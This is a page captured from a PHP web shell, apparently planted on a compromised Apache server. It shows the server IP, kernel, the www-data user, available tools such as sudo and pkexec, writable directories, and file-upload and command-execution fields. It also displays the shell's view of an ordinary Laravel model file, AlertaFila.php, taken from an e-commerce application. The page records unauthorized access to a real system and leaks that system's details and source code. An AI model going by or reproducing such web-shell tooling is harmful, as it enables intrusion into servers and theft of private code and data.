403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Modules/AlertaFila/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Modules/AlertaFila/Models/AlertaFila.php
<?php

namespace App\Modules\AlertaFila\Models;

use DB;
use Sentinel;
use App\MyModel;
use Illuminate\Support\Facades\Log;
use App\Services\PedidoEntregaService;
use App\Modules\PedidoEntregaHasStatus\Models\PedidoEntregaHasStatus;
use App\Modules\CanalAcessoAutenticado\Models\CanalAcessoAutenticado;

class AlertaFila extends MyModel
{

	protected $table   = 'alerta_fila';
	protected $guarded = [];
	private $rules     = array();
	private $messages  = array();

	public function __construct(){
		parent::__construct();
		$this->setMessages($this->messages);
		$this->setRules($this->rules);
	}

	public function getLogNameToUse(string $eventName = ''): string
	{
		return 'log_alerta_fila';
	}

	/**
	* Get the options for generating the slug.
	*/
	public function getSlugOptions() : SlugOptions
	{
		return SlugOptions::create()
		->generateSlugsFrom(['nome', 'titulo'])
		->saveSlugsTo('slug');
	}

	public function getBySlug($slug){
		return DB::table($this->table)->where('slug',$slug)->firstOrFail();
	}

	public function criar($fields, $input){
		$insert = [];
		foreach ($fields as $field) {
			$insert[$field] = $input[$field];
		}

		$alerta_fila = new AlertaFila();
		$alerta_fila->fill($insert);
		$alerta_fila->save();

		return $alerta_fila->id;
	}

	public function editar($fields, $input, $id){
		$insert = [];
		foreach ($fields as $field) {
			$insert[$field] = $input[$field];
		}

		$alerta_fila = AlertaFila::find($id);
		$alerta_fila->fill($insert);
		$alerta_fila->save();

		return $id;
	}

	public function deletar($id){
		$alerta_fila = AlertaFila::find($id);
		$alerta_fila->delete();
		return true;
	}

	public static function criarAlertaFila($parametros){

		try {
			
			if(!empty($parametros)){
				
				$options    = AlertaFila::formatAlertaFila($parametros);
				$logNotSave = AlertaFila::saveAlertaFila($parametros, 'cadastro', $options);

				return (count($logNotSave) == 0) ? true : $logNotSave;
				 
			}else{
				return false;
			}

		} catch (Exception $e) {
			Log::info("AlertaFila::criarAlertaFila => " . $e->getMessage());
			return false;
		}
		 
		
	}

	public static function formatAlertaFila($parametros){

		try {

			$tipo_mensagem = '';
			$assunto       = '';
			
			switch($parametros['alertaFila']['tipo']){
				case 'pedido-entrega-has-status':
					$PedidoEntregaHasStatus = PedidoEntregaHasStatus::where('id', $parametros['alertaFila']['tipo_id'])->first();
					if($PedidoEntregaHasStatus){
						$tipo_mensagem = $PedidoEntregaHasStatus->status->slug; //PedidoEntregaStatus.slug
						$assunto       = PedidoEntregaService::getAssuntoEmail($PedidoEntregaHasStatus); //PedidoEntregaStatus.assunto
					}
					break;
				case 'canal-acesso-autenticado':
					$CanalAcessoAutenticado = CanalAcessoAutenticado::where('id', $parametros['alertaFila']['tipo_id'])->first();
					$canal = $CanalAcessoAutenticado->canalAcessoAutenticado;
					$tipo_mensagem = $CanalAcessoAutenticado->cadastro->slug; //Cadastro.slug
					$assunto       = 'Seu FAST PASS. Preview: '. $canal->nome . (!empty($canal->subtitulo) ? " {$canal->subtitulo}" : "");
					break;
				default:
					$tipo_mensagem = '';
					$assunto       = '';
			}

			return ['assunto' => $assunto, 'tipo_mensagem' => $tipo_mensagem];

		} catch (Exception $e) {
			Log::info("AlertaFila::formatAlertaFila => " . $e->getMessage());
			return ['assunto' => 'error', 'tipo_mensagem' => 'error'];
		}
	}

	public static function saveAlertaFila($parametros, $key, $options){

		$logNotSave = [];
		if(isset($parametros['alertaFila'][$key])){
			foreach($parametros['alertaFila'][$key] as $idKey){

				try {
					
					$cadastro_id = ($key == 'cadastro' ? $idKey : (isset($parametros['alertaFila']['cadastro_id']) ? $parametros['alertaFila']['cadastro_id'] : NULL));
					$user = Sentinel::getUser();
					$user_id  	 = ($key == 'usuario' ? $idKey : ($user ? $user->id : 1)); //Tratar UserId

					$model                = new AlertaFila();
					$model->user_id    	  = $user_id;
					$model->cadastro_id   = $cadastro_id;
					$model->assunto       = $options['assunto'];
					$model->observacao    = (isset($parametros['alertaFila']['observacao']) ? $parametros['alertaFila']['observacao'] : '');
					$model->log_erro      = (isset($parametros['alertaFila']['log_erro']) ? $parametros['alertaFila']['log_erro'] : '');
					$model->created_at    = date('Y-m-d H:i:s');
					$model->tipo_mensagem = $options['tipo_mensagem'];
					$model->tipo_id       = $parametros['alertaFila']['tipo_id'];
					$model->tipo          = $parametros['alertaFila']['tipo'];
					$model->bcc           = (isset($parametros['alertaFila']['bcc']) ? $parametros['alertaFila']['bcc'] : '');
					if(isset($parametros['alertaFila']['email_enviado']))
						$model->email_enviado = $parametros['alertaFila']['email_enviado'];
					if(isset($parametros['alertaFila']['timeout']))
						$model->timeout = $parametros['alertaFila']['timeout'];
					
					if(!$model->save()){
						$logNotSave[$key][$idKey] = "Falha ao gravar: {$key} => {$idKey}";
						Log::info("AlertaFila::saveAlertaFila => Falha ao gravar: {$key} => {$idKey}");
					}

				} catch (Exception $e) {
					Log::info("AlertaFila::saveAlertaFila => Exception ao gravar: {$key} => {$idKey}");
					Log::info("AlertaFila::saveAlertaFila => " . $e->getMessage());
					$logNotSave[$key][$idKey] = "Exception ao gravar: {$key} => {$idKey}";
					continue;
				}

			}
		}

		return $logNotSave;

	}

	public function getImagem($id){
		return DB::table($this->table.'_imagens')->find($id);
	}

	public function getImagens($id){
		return DB::table($this->table.'_imagens')->where('id_alerta_fila', $id)->get();
	}

	public function criar_imagem($input){
		return DB::table($this->table.'_imagens')->insert([
			[
				'id_alerta_fila' => $input['id_alerta_fila'],
				'thumbnail_principal' => $input['thumbnail_principal'],
			]
		]);
	}

	public function deletar_imagem($id){
		return DB::table($this->table.'_imagens')
		->where('id', $id)
		->delete();
	}

	public function getNextAutoIncrement(){
		$lastId = DB::select("SELECT AUTO_INCREMENT FROM information_schema.tables WHERE TABLE_NAME = '$this->table' ORDER BY table_name;")[0]->AUTO_INCREMENT;
		return $lastId;
	}

	public function cadastro(){
		return $this->belongsTo('App\Modules\Cadastro\Models\Cadastro', 'cadastro_id');
	}

	public function user(){
		return $this->belongsTo('App\User', 'user_id');
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit